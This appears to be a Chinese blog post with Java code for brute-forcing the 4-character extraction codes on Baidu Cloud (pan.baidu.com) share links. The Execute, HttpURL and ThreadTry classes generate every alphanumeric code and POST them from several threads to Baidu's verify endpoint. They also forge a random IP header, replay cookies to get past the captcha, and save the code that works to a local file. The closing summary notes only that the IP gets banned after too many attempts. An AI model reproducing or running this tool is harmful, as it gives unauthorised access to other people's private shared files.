百度云提取码
執行文件
import java.util.ArrayList; import java.util.List;public class Execute {String n = "";/*** 執行多線程任務* * @param sum*/public void executeThread(String urlString, int sum) {List<String> pwd = getPWD();int everyThread = pwd.size() / sum;for (int i = 0; i < sum; i++) {n = i + "";ThreadTry n = new ThreadTry(urlString, i * everyThread, (i + 1)* everyThread, pwd);n.start();}}/*** 獲取所有密碼* * @return*/private List<String> getPWD() {char s[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a','b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm','n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };List<String> list = new ArrayList<String>();for (char one : s) {for (char two : s) {for (char three : s) {for (char four : s) {list.add("" + one + two + three + four);// System.out.println(""+one+two+three+four);}}}}return list;} }訪問文件
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.UnsupportedEncodingException; import java.net.HttpURLConnection; import java.net.URL; import java.util.Random;public class HttpURL {private String info = "";private String urlString = "";private String cookie = "";private String ip="";URL url = null;public HttpURL() {}public HttpURL(String str) {urlString = str;// 定義info為網址init后的參數info = urlString.substring(urlString.indexOf('?') + 1);}/*** 執行操作* * @throws IOException*/public boolean execute(String password) {try {ip=getIP();HttpGet();return tryPWD(password);} catch (IOException e) {e.printStackTrace();return false;}}/*** 嘗試生成隨機數*/public String getIP() {Random r = new Random();r.nextInt(250);return r.nextInt(250) + "." + r.nextInt(250) + "." + r.nextInt(250)+ "." + r.nextInt(250);}/*** 嘗試密碼* * @param pwd* @return* @throws UnsupportedEncodingException* @throws IOException*/public boolean tryPWD(String pwd) throws UnsupportedEncodingException,IOException {String data = HttpPost("pwd=" + pwd + "&vcode=&vcode_str=");if (data.contains("\"errno\":-9"))return false;else if (data.contains("\"errno\":0"))return true;elsereturn false;}/*** 進行GET請求獲取新的cookie* * @return* @throws IOException*/public void HttpGet() throws IOException {// 新建url連接url = new URL(urlString);// 打開鏈接HttpURLConnection connection = (HttpURLConnection) url.openConnection();// 設置參數connection.setRequestMethod("GET");connection.setRequestProperty("ContentType", "text/html;charset=UTF-8");connection.setRequestProperty("Host", "pan.baidu.com");connection.setRequestProperty("Ip", ip);connection.setRequestProperty("Referer","http://pan.baidu.com/share/link?" + info);connection.setRequestProperty("Cookie", "");// connection.getHeaderField("Set-Cookie"));InputStream response = connection.getInputStream();cookie = connection.getHeaderField("Set-Cookie");writeContent(response);connection.disconnect();response.close();}/*** 使用密碼進行POST請求* * @param url* @param param* @return* @throws IOException* @throws UnsupportedEncodingException*/public String HttpPost(String param) throws UnsupportedEncodingException,IOException {// 新建url連接url = new URL("http://pan.baidu.com/share/verify?"+ info+ "&t="+ System.currentTimeMillis()+ "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=033646&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==");// 打開鏈接HttpURLConnection connection = (HttpURLConnection) url.openConnection();// 設置參數connection.setDoOutput(true); // Triggers POST.connection.setRequestMethod("POST");connection.setRequestProperty("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");connection.setRequestProperty("Referer","http://pan.baidu.com/share/init?" + info);connection.setRequestProperty("ContentLength",param.getBytes("UTF-8").length + "");connection.setRequestProperty("Host", "pan.baidu.com");connection.setRequestProperty("Ip", ip);connection.setRequestProperty("Cookie", cookie);OutputStream output = connection.getOutputStream();try {output.write(param.getBytes("UTF-8"));} finally {output.close();}InputStream response = connection.getInputStream();String html = writeContent(response);response.close();connection.disconnect();return html;}/*** 輸出網頁信息* * @param in* @throws IOException*/public String writeContent(InputStream in) throws IOException {BufferedReader br = new BufferedReader(new InputStreamReader(in,"UTF-8"));String line;StringBuilder sb = new StringBuilder();while ((line = br.readLine()) != null) {// 循環讀取流sb.append(line);}br.close();// 關閉流// System.out.println(sb.toString());return sb.toString();} }線程文件
import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.util.ArrayList; import java.util.List;public class ThreadTry extends Thread {private List<String> password = new ArrayList<String>();private String url = "";Main m=new Main();public ThreadTry(String urlString, int start, int end, List<String> pwd) {url = urlString;for (int index = start; index < end; index++) {password.add(pwd.get(index));}}public void run() {for (String p : password) {System.out.println("密碼:" + p + "--" + Thread.currentThread().getName());m.setMsg("密碼:" + p + "--" + Thread.currentThread().getName());boolean flag = new HttpURL(url).execute(p);if (flag) {write("密碼:" + p);System.exit(0);}try {Thread.sleep(5000);} catch (InterruptedException e) {e.printStackTrace();}}}private void write(String str) {FileOutputStream out = null;try {File file = new File("D:" + File.separator + "pwd.txt");// File file = new File(getFileName());if (!file.exists()) {// 若文件不存在則新建一個file.createNewFile();}out = new FileOutputStream(file, true);// true表示追加打開// out = new FileOutputStream(file);// 實例化輸入流out.write(str.getBytes());// 換行則加\r\nout.flush();// 推一下,避免字符留在緩存未寫入out.close();// 關閉輸出流} catch (IOException e) {System.out.println(e.getMessage());}} }總結:可以訪問百度云并繞過驗證碼機制嘗試密碼,但執行時會因訪問次數過多被暫時禁止該ip訪問。
附:
總結